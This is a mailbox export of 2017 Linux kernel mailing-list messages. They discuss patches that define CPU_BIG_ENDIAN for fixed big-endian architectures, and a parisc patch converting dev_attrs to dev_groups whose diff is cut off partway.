> when I'm talking to journalists I just say "programmer" or something like that.
>                                  -- Linus Torvalds



From - Thu Nov 08 21:39:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.sparc
Subject: Re: [PATCH 2/2] include: warn for inconsistent endian config definition
Date: Fri, 9 Jun 2017 16:11:18 +0200
Lines: 27
Approved: news@gmane.org
Message-ID: <CAMuHMdV7eC95C=jZdWoAHC2tHT8duoNxWkhO6jWQbzouLDZS4A@mail.gmail.com>
References: <1496960243-196898-1-git-send-email-babu.moger@oracle.com>
 <1496960243-196898-3-git-send-email-babu.moger@oracle.com>
 <CAMuHMdX2u8vZGBVXitH+FcfeMwZ8a1-g2b-Dh7V9=HnqJpj=hw@mail.gmail.com>
 <CAMuHMdVia9Jkwz0eEbSG0OE-Sw5wMbdjA1o3F6m10NaSWXq_Vw@mail.gmail.com> <257e0d57-bf55-eb1b-26e2-ba50b1bd2676@oracle.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1497017484 12297 195.159.176.226 (9 Jun 2017 14:11:24 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 9 Jun 2017 14:11:24 +0000 (UTC)
Cc: Yoshinori Sato <ysato@users.sourceforge.jp>,
        Jonas Bonn <jonas@southpole.se>,
        Stefan Kristiansson <stefan.kristiansson@saunalahti.fi>,
        Stafford Horne <shorne@gmail.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        "David S. Miller" <davem@davemloft.net>,
        Al Viro <viro@zeniv.linux.org.uk>,
        Michael Ellerman <mpe@ellerman.id.au>,
        Peter Zijlstra <peterz@infradead.org>,
        Ingo Molnar <mingo@redhat.com>,
        Max Filippov <jcmvbkbc@gmail.com>,
        "linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
        uclinux-h8-devel@lists.sourceforge.jp,
        "Linux/m68k" <linux-m68k@vger.kernel.org>,
        openrisc@lists.librecores.org,
        Parisc List <linux-parisc@vger.kernel.org>,
        sparclinux <sparclinux@vger.kernel.org>
To: Babu Moger <babu.moger@oracle.com>
Original-X-From: linux-m68k-owner@vger.kernel.org Fri Jun 09 16:11:18 2017
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1dJKdA-0002SW-Rj
	for glpm-linux-m68k@m.gmane.org; Fri, 09 Jun 2017 16:11:17 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751682AbdFIOLV (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
        Fri, 9 Jun 2017 10:11:21 -0400
Original-Received: from mail-io0-f194.google.com ([209.85.223.194]:33975 "EHLO
        mail-io0-f194.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751535AbdFIOLU (ORCPT
        <rfc822;linux-m68k@vger.kernel.org>); Fri, 9 Jun 2017 10:11:20 -0400
Original-Received: by mail-io0-f194.google.com with SMTP id a96so5707155ioj.1;
        Fri, 09 Jun 2017 07:11:19 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=mime-version:sender:in-reply-to:references:from:date:message-id
         :subject:to:cc;
        bh=H7BEchyC81QycVNskm3aCq9GOrGv+CRgqE0yyeQPYNw=;
        b=fpAAOnkLcizgWn8PZfncANgWbdDJdxrTWcGGmFQncw532+WcjavCIN5mQM0GQhSPT5
         dOT1zzxpBzYybo16m79KfEMGjDDXiN+p06GSY9apL/typWGHKo/vn/Y969H7UqEc2Otj
         azmceLvaqp6qdeOCMBduSbG4I+2yomXJNlS3p1b4FWoRdcUEkd+DA0Mh1WzPx+kx8aC5
         ZebYxdojwWDnatkzCV+cm3fUcaN3HwHAPFoHiBVqA0EiD3cUsxr121StL9b3SEyJyZDS
         BQCRe8cTEqZZkAm7/pqHKCVGxcA1IkMzJdVRddxCqF8VpohUjd1afvtjId0RbyJ96Z5m
         PLxQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:sender:in-reply-to:references:from
         :date:message-id:subject:to:cc;
        bh=H7BEchyC81QycVNskm3aCq9GOrGv+CRgqE0yyeQPYNw=;
        b=gr+yJ5IhWUSzlXaSJssRQYB3ji5+RFwrJ9VvaJveylXd/MyXplRLLhhH9hnXrQdRQN
         LzxkxHhrhbjpYLyv7WzEH2Rz4+9arcW/1R03KR7pLtPT3W1SYLMvSeAha45uk1D9citc
         bnphBYOJnCmgdCoDVZt3wisZZSEtNRAjqelfUIuJ9ex36qsUBhnxhXU+WLSfVt2P7Z20
         q7qN6gZMUmpUgn6q9tteB+KfFk2JrJyGtW33OVhFlKx2gA1a8PqLPxiFRVNeRYTFAAQH
         sz8W5J5CSmpAM6M8tq4Y31SADS46MD1vOSq25ii9nsmCveXSZZPAQtMqzXUWgNoxJeRA
         eGMQ==
X-Gm-Message-State: AODbwcCr0eorR57NFmyretX/5Ic4Wn1gznIimuy8OYXI8qPGIbhnkuYQ
        qsrBG7ikx3H8ZlWFQCqLQFsgh3eiPg==
X-Received: by 10.107.131.210 with SMTP id n79mr28125830ioi.77.1497017479345;
 Fri, 09 Jun 2017 07:11:19 -0700 (PDT)
Original-Received: by 10.107.182.84 with HTTP; Fri, 9 Jun 2017 07:11:18 -0700 (PDT)
In-Reply-To: <257e0d57-bf55-eb1b-26e2-ba50b1bd2676@oracle.com>
X-Google-Sender-Auth: 3A1plXpMqN7Ezapf3IhP_I3kvfs
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:9362 gmane.linux.kernel:2496984 gmane.linux.ports.parisc:27485 gmane.linux.ports.sparc:25466
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/9362>

Hi Babu,

On Fri, Jun 9, 2017 at 3:55 PM, Babu Moger <babu.moger@oracle.com> wrote:
> On 6/9/2017 2:16 AM, Geert Uytterhoeven wrote:
>> On Fri, Jun 9, 2017 at 9:05 AM, Geert Uytterhoeven <geert@linux-m68k.org>
>> wrote:
>>>> Here is the original discussion
>>>> http://www.spinics.net/lists/devicetree/msg178101.html
>>>>
>>>> Signed-off-by: Babu Moger <babu.moger@oracle.com>
>>>> Suggested-by: Arnd Bergmann <arnd@arndb.de>

> Yes. Got it.  So patch #1 is fine.   But, patch #2 might cause regressions.
> Should I drop patch 2.

No, it should be applied, and regressions should be fixed.

Gr{oetje,eeting}s,

                        Geert

--
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-m68k.org

In personal conversations with technical people, I call myself a hacker. But
when I'm talking to journalists I just say "programmer" or something like that.
                                -- Linus Torvalds

From - Thu Nov 08 21:39:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Babu Moger <babu.moger@oracle.com>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.sparc
Subject: Re: [PATCH 2/2] include: warn for inconsistent endian config
 definition
Date: Fri, 9 Jun 2017 09:39:03 -0500
Organization: Oracle Corporation
Lines: 31
Approved: news@gmane.org
Message-ID: <c1b36fc4-21ae-4c3a-41ae-ecbab3d15d1d@oracle.com>
References: <1496960243-196898-1-git-send-email-babu.moger@oracle.com>
 <1496960243-196898-3-git-send-email-babu.moger@oracle.com>
 <CAMuHMdX2u8vZGBVXitH+FcfeMwZ8a1-g2b-Dh7V9=HnqJpj=hw@mail.gmail.com>
 <CAMuHMdVia9Jkwz0eEbSG0OE-Sw5wMbdjA1o3F6m10NaSWXq_Vw@mail.gmail.com>
 <257e0d57-bf55-eb1b-26e2-ba50b1bd2676@oracle.com>
 <CAMuHMdV7eC95C=jZdWoAHC2tHT8duoNxWkhO6jWQbzouLDZS4A@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1497019248 17060 195.159.176.226 (9 Jun 2017 14:40:48 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 9 Jun 2017 14:40:48 +0000 (UTC)
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101
 Thunderbird/52.1.1
Cc: Yoshinori Sato <ysato@users.sourceforge.jp>,
        Jonas Bonn <jonas@southpole.se>,
        Stefan Kristiansson <stefan.kristiansson@saunalahti.fi>,
        Stafford Horne <shorne@gmail.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        "David S. Miller" <davem@davemloft.net>,
        Al Viro <viro@zeniv.linux.org.uk>,
        Michael Ellerman <mpe@ellerman.id.au>,
        Peter Zijlstra <peterz@infradead.org>,
        Ingo Molnar <mingo@redhat.com>,
        Max Filippov <jcmvbkbc@gmail.com>,
        "linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
        uclinux-h8-devel@lists.sourceforge.jp,
        Linux/m68k <linux-m68k@vger.kernel.org>,
        openrisc@lists.librecores.org,
        Parisc List <linux-parisc@vger.kernel.org>,
        sparclinux <sparclinux@vger.kernel.org>
To: Geert Uytterhoeven <geert@linux-m68k.org>
Original-X-From: linux-m68k-owner@vger.kernel.org Fri Jun 09 16:40:42 2017
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1dJL5c-0001Dh-Mk
	for glpm-linux-m68k@m.gmane.org; Fri, 09 Jun 2017 16:40:41 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751543AbdFIOkp (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
        Fri, 9 Jun 2017 10:40:45 -0400
Original-Received: from userp1040.oracle.com ([156.151.31.81]:21895 "EHLO
        userp1040.oracle.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751534AbdFIOko (ORCPT
        <rfc822;linux-m68k@vger.kernel.org>); Fri, 9 Jun 2017 10:40:44 -0400
Original-Received: from aserv0021.oracle.com (aserv0021.oracle.com [141.146.126.233])
        by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id v59EdENq004951
        (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
        Fri, 9 Jun 2017 14:39:16 GMT
Original-Received: from userv0122.oracle.com (userv0122.oracle.com [156.151.31.75])
        by aserv0021.oracle.com (8.13.8/8.14.4) with ESMTP id v59EdDfi000559
        (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
        Fri, 9 Jun 2017 14:39:13 GMT
Original-Received: from abhmp0019.oracle.com (abhmp0019.oracle.com [141.146.116.25])
        by userv0122.oracle.com (8.14.4/8.14.4) with ESMTP id v59Ed8k7029068;
        Fri, 9 Jun 2017 14:39:09 GMT
Original-Received: from [10.135.190.130] (/10.135.190.130)
        by default (Oracle Beehive Gateway v4.0)
        with ESMTP ; Fri, 09 Jun 2017 07:39:08 -0700
In-Reply-To: <CAMuHMdV7eC95C=jZdWoAHC2tHT8duoNxWkhO6jWQbzouLDZS4A@mail.gmail.com>
Content-Language: en-US
X-Source-IP: aserv0021.oracle.com [141.146.126.233]
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:9363 gmane.linux.kernel:2497023 gmane.linux.ports.parisc:27486 gmane.linux.ports.sparc:25467
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/9363>


On 6/9/2017 9:11 AM, Geert Uytterhoeven wrote:
> Hi Babu,
>
> On Fri, Jun 9, 2017 at 3:55 PM, Babu Moger <babu.moger@oracle.com> wrote:
>> On 6/9/2017 2:16 AM, Geert Uytterhoeven wrote:
>>> On Fri, Jun 9, 2017 at 9:05 AM, Geert Uytterhoeven <geert@linux-m68k.org>
>>> wrote:
>>>>> Here is the original discussion
>>>>> http://www.spinics.net/lists/devicetree/msg178101.html
>>>>>
>>>>> Signed-off-by: Babu Moger <babu.moger@oracle.com>
>>>>> Suggested-by: Arnd Bergmann <arnd@arndb.de>
>> Yes. Got it.  So patch #1 is fine.   But, patch #2 might cause regressions.
>> Should I drop patch 2.
> No, it should be applied, and regressions should be fixed.

Geert,  Ok. Sure. I will resubmit the patch mentioning all the 
files(base.c, fdt.c etc..) that are affected by this change.
thanks
> Gr{oetje,eeting}s,
>
>                          Geert
>
> --
> Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-m68k.org
>
> In personal conversations with technical people, I call myself a hacker. But
> when I'm talking to journalists I just say "programmer" or something like that.
>                                  -- Linus Torvalds


From - Thu Nov 08 21:39:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Babu Moger <babu.moger@oracle.com>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.sparc
Subject: Re: [PATCH 1/2] arch: Define CPU_BIG_ENDIAN for all fixed big endian
 archs
Date: Fri, 9 Jun 2017 10:55:13 -0500
Organization: Oracle Corporation
Lines: 47
Approved: news@gmane.org
Message-ID: <300417cd-2aed-8464-afc3-00bec56d1d4a@oracle.com>
References: <1496960243-196898-1-git-send-email-babu.moger@oracle.com>
 <1496960243-196898-2-git-send-email-babu.moger@oracle.com>
 <CAMuHMdXke2z5YuVfGU-wQ-PawwrGRP5_TyDN0qH8zah-iidNUQ@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1497023817 26209 195.159.176.226 (9 Jun 2017 15:56:57 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 9 Jun 2017 15:56:57 +0000 (UTC)
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101
 Thunderbird/52.1.1
Cc: Yoshinori Sato <ysato@users.sourceforge.jp>,
        Jonas Bonn <jonas@southpole.se>,
        Stefan Kristiansson <stefan.kristiansson@saunalahti.fi>,
        Stafford Horne <shorne@gmail.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Al Viro <viro@zeniv.linux.org.uk>,
        Michael Ellerman <mpe@ellerman.id.au>,
        Peter Zijlstra <peterz@infradead.org>,
        Ingo Molnar <mingo@redhat.com>,
        Max Filippov <jcmvbkbc@gmail.com>,
        "linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
        uclinux-h8-devel@lists.sourceforge.jp,
        Linux/m68k <linux-m68k@vger.kernel.org>,
        openrisc@lists.librecores.org,
        Parisc List <linux-parisc@vger.kernel.org>,
        sparclinux <sparclinux@vger.kernel.org>
To: Geert Uytterhoeven <geert@linux-m68k.org>,
        "David S. Miller" <davem@davemloft.net>
Original-X-From: linux-m68k-owner@vger.kernel.org Fri Jun 09 17:56:50 2017
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1dJMHJ-0004hk-UQ
	for glpm-linux-m68k@m.gmane.org; Fri, 09 Jun 2017 17:56:50 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751743AbdFIP4y (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
        Fri, 9 Jun 2017 11:56:54 -0400
Original-Received: from userp1040.oracle.com ([156.151.31.81]:32796 "EHLO
        userp1040.oracle.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751562AbdFIP4x (ORCPT
        <rfc822;linux-m68k@vger.kernel.org>); Fri, 9 Jun 2017 11:56:53 -0400
Original-Received: from aserv0021.oracle.com (aserv0021.oracle.com [141.146.126.233])
        by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id v59FtSc5004266
        (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
        Fri, 9 Jun 2017 15:55:29 GMT
Original-Received: from aserv0122.oracle.com (aserv0122.oracle.com [141.146.126.236])
        by aserv0021.oracle.com (8.13.8/8.14.4) with ESMTP id v59FtRR8007133
        (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
        Fri, 9 Jun 2017 15:55:27 GMT
Original-Received: from abhmp0006.oracle.com (abhmp0006.oracle.com [141.146.116.12])
        by aserv0122.oracle.com (8.14.4/8.14.4) with ESMTP id v59FtJ1L019387;
        Fri, 9 Jun 2017 15:55:21 GMT
Original-Received: from [10.135.190.130] (/10.135.190.130)
        by default (Oracle Beehive Gateway v4.0)
        with ESMTP ; Fri, 09 Jun 2017 08:55:19 -0700
In-Reply-To: <CAMuHMdXke2z5YuVfGU-wQ-PawwrGRP5_TyDN0qH8zah-iidNUQ@mail.gmail.com>
Content-Language: en-US
X-Source-IP: aserv0021.oracle.com [141.146.126.233]
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:9364 gmane.linux.kernel:2497072 gmane.linux.ports.parisc:27487 gmane.linux.ports.sparc:25468
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/9364>


On 6/9/2017 2:03 AM, Geert Uytterhoeven wrote:
> On Fri, Jun 9, 2017 at 12:17 AM, Babu Moger <babu.moger@oracle.com> wrote:
>> While working on enabling queued rwlock on SPARC, found
>> this following code in include/asm-generic/qrwlock.h
>> which uses CONFIG_CPU_BIG_ENDIAN to clear a byte.
>>
>> static inline u8 *__qrwlock_write_byte(struct qrwlock *lock)
>>   {
>>          return (u8 *)lock + 3 * IS_BUILTIN(CONFIG_CPU_BIG_ENDIAN);
>>   }
>>
>> Problem is many of the fixed big endian architectures dont define
>> CPU_BIG_ENDIAN and clears the wrong byte.
>>
>> Define CPU_BIG_ENDIAN for all the fixed big endian architecture.
>>
>> Here is the orinal discussion
>> http://www.spinics.net/lists/devicetree/msg178101.html
>>
>> Signed-off-by: Babu Moger <babu.moger@oracle.com>
>> Suggested-by: Arnd Bergmann <arnd@arndb.de>
> Hmm, the link above refers to a mail from me? ;-)
>
> Acked-by: Geert Uytterhoeven <geert@linux-m68k.org>

One more question before I resubmit.

Dave,
I have added CONFIG_CPU_BIG_ENDIAN for sparc via my earlier patch.
https://patchwork.ozlabs.org/patch/766735/
Should I exclude sparc here?
Thanks
Babu

>
> Gr{oetje,eeting}s,
>
>                          Geert
>
> --
> Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-m68k.org
>
> In personal conversations with technical people, I call myself a hacker. But
> when I'm talking to journalists I just say "programmer" or something like that.
>                                  -- Linus Torvalds


From - Thu Nov 08 21:39:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: David Miller <davem@davemloft.net>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.sparc
Subject: Re: [PATCH 1/2] arch: Define CPU_BIG_ENDIAN for all fixed big
 endian archs
Date: Fri, 09 Jun 2017 12:40:25 -0400 (EDT)
Lines: 24
Approved: news@gmane.org
Message-ID: <20170609.124025.1597341888979066145.davem@davemloft.net>
References: <1496960243-196898-1-git-send-email-babu.moger@oracle.com>
        <1496960243-196898-2-git-send-email-babu.moger@oracle.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1497026433 23013 195.159.176.226 (9 Jun 2017 16:40:33 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 9 Jun 2017 16:40:33 +0000 (UTC)
Cc: ysato@users.sourceforge.jp, geert@linux-m68k.org,
        jonas@southpole.se, stefan.kristiansson@saunalahti.fi,
        shorne@gmail.com, jejb@parisc-linux.org, deller@gmx.de,
        viro@zeniv.linux.org.uk, mpe@ellerman.id.au, peterz@infradead.org,
        mingo@redhat.com, jcmvbkbc@gmail.com, linux-kernel@vger.kernel.org,
        uclinux-h8-devel@lists.sourceforge.jp, linux-m68k@vger.kernel.org,
        openrisc@lists.librecores.org, linux-parisc@vger.kernel.org,
        sparclinux@vger.kernel.org
To: babu.moger@oracle.com
Original-X-From: linux-m68k-owner@vger.kernel.org Fri Jun 09 18:40:27 2017
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1dJMxW-0005iM-QT
	for glpm-linux-m68k@m.gmane.org; Fri, 09 Jun 2017 18:40:27 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751562AbdFIQkb (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
        Fri, 9 Jun 2017 12:40:31 -0400
Original-Received: from shards.monkeyblade.net ([184.105.139.130]:33820 "EHLO
        shards.monkeyblade.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751803AbdFIQk3 (ORCPT
        <rfc822;linux-m68k@vger.kernel.org>); Fri, 9 Jun 2017 12:40:29 -0400
Original-Received: from localhost (unknown [38.140.131.194])
        (using TLSv1 with cipher AES128-SHA (128/128 bits))
        (Client did not present a certificate)
        (Authenticated sender: davem-davemloft)
        by shards.monkeyblade.net (Postfix) with ESMTPSA id 1FE0E12472682;
        Fri,  9 Jun 2017 08:58:47 -0700 (PDT)
In-Reply-To: <1496960243-196898-2-git-send-email-babu.moger@oracle.com>
X-Mailer: Mew version 6.7 on Emacs 24.5 / Mule 6.0 (HANACHIRUSATO)
X-Greylist: Sender succeeded SMTP AUTH, not delayed by milter-greylist-4.5.12 (shards.monkeyblade.net [149.20.54.216]); Fri, 09 Jun 2017 08:58:48 -0700 (PDT)
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:9365 gmane.linux.kernel:2497114 gmane.linux.ports.parisc:27488 gmane.linux.ports.sparc:25490
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/9365>

From: Babu Moger <babu.moger@oracle.com>
Date: Thu,  8 Jun 2017 15:17:22 -0700

> While working on enabling queued rwlock on SPARC, found
> this following code in include/asm-generic/qrwlock.h
> which uses CONFIG_CPU_BIG_ENDIAN to clear a byte.
> 
> static inline u8 *__qrwlock_write_byte(struct qrwlock *lock)
>  {
> 	return (u8 *)lock + 3 * IS_BUILTIN(CONFIG_CPU_BIG_ENDIAN);
>  }
> 
> Problem is many of the fixed big endian architectures dont define
> CPU_BIG_ENDIAN and clears the wrong byte.
> 
> Define CPU_BIG_ENDIAN for all the fixed big endian architecture.
> 
> Here is the orinal discussion
> http://www.spinics.net/lists/devicetree/msg178101.html
> 
> Signed-off-by: Babu Moger <babu.moger@oracle.com>
> Suggested-by: Arnd Bergmann <arnd@arndb.de>

Acked-by: David S. Miller <davem@davemloft.net>

From - Thu Nov 08 21:39:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: <gregkh@linuxfoundation.org>
Newsgroups: gmane.linux.ports.parisc
Subject: patch "parisc: parisc_bus_type: use dev_groups and not dev_attrs for" added to driver-core-next
Date: Fri, 09 Jun 2017 20:08:16 +0200
Lines: 95
Approved: news@gmane.org
Message-ID: <1497031696252231@kroah.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ANSI_X3.4-1968
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1497031729 14344 195.159.176.226 (9 Jun 2017 18:08:49 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 9 Jun 2017 18:08:49 +0000 (UTC)
To: gregkh@linuxfoundation.org, bart.vanassche@sandisk.com,
        deller@gmx.de, dledford@redhat.com, jejb@parisc-linux.org,
        linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jun 09 20:08:44 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dJOKy-00035s-6J
	for glpp-linux-parisc@m.gmane.org; Fri, 09 Jun 2017 20:08:44 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751662AbdFISIt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Fri, 9 Jun 2017 14:08:49 -0400
Original-Received: from mail.linuxfoundation.org ([140.211.169.12]:59482 "EHLO
        mail.linuxfoundation.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751610AbdFISIt (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Fri, 9 Jun 2017 14:08:49 -0400
Original-Received: from localhost (LFbn-1-12060-104.w90-92.abo.wanadoo.fr [90.92.122.104])
        by mail.linuxfoundation.org (Postfix) with ESMTPSA id 4E6CFB6B;
        Fri,  9 Jun 2017 18:08:48 +0000 (UTC)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27489
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27489>


This is a note to let you know that I've just added the patch titled

    parisc: parisc_bus_type: use dev_groups and not dev_attrs for

to my driver-core git tree which can be found at
    git://git.kernel.org/pub/scm/linux/kernel/git/gregkh/driver-core.git
in the driver-core-next branch.

The patch will show up in the next release of the linux-next tree
(usually sometime within the next 24 hours during the week.)

The patch will also be merged in the next major kernel release
during the merge window.

If you have any questions about this process, please let me know.


>From 9b7c6682270043415921ee73e584bdc4ee289fdf Mon Sep 17 00:00:00 2001
From: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Date: Tue, 6 Jun 2017 14:16:38 +0200
Subject: parisc: parisc_bus_type: use dev_groups and not dev_attrs for
 bus_type

The dev_attrs field has long been "depreciated" and is finally being
removed, so move the driver to use the "correct" dev_groups field
instead for struct bus_type.

Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
Cc: Helge Deller <deller@gmx.de>
Cc: Bart Van Assche <bart.vanassche@sandisk.com>
Cc: Doug Ledford <dledford@redhat.com>
Cc: <linux-parisc@vger.kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
 arch/parisc/kernel/drivers.c | 23 +++++++++++++----------
 1 file changed, 13 insertions(+), 10 deletions(-)

diff --git a/arch/parisc/kernel/drivers.c b/arch/parisc/kernel/drivers.c
index fa78419100c8..d8f77358e2ba 100644
--- a/arch/parisc/kernel/drivers.c
+++ b/arch/parisc/kernel/drivers.c
@@ -575,7 +575,8 @@ static ssize_t name##_show(struct device *dev, struct device_attribute *attr, ch
 {									\
 	struct parisc_device *padev = to_parisc_device(dev);		\
 	return sprintf(buf, format_string, padev->field);		\
-}
+}									\
+static DEVICE_ATTR_RO(name);
 
 #define pa_dev_attr_id(field, format) pa_dev_attr(field, id.field, format)
 
@@ -589,22 +590,24 @@ static ssize_t modalias_show(struct device *dev, struct device_attribute *attr,
 {
 	return make_modalias(dev, buf);
 }
+static DEVICE_ATTR_RO(modalias);
 
-static struct device_attribute parisc_device_attrs[] = {
-	__ATTR_RO(irq),
-	__ATTR_RO(hw_type),
-	__ATTR_RO(rev),
-	__ATTR_RO(hversion),
-	__ATTR_RO(sversion),
-	__ATTR_RO(modalias),
-	__ATTR_NULL,
+static struct attribute *parisc_device_attrs[] = {
+	&dev_attr_irq.attr,
+	&dev_attr_hw_type.attr,
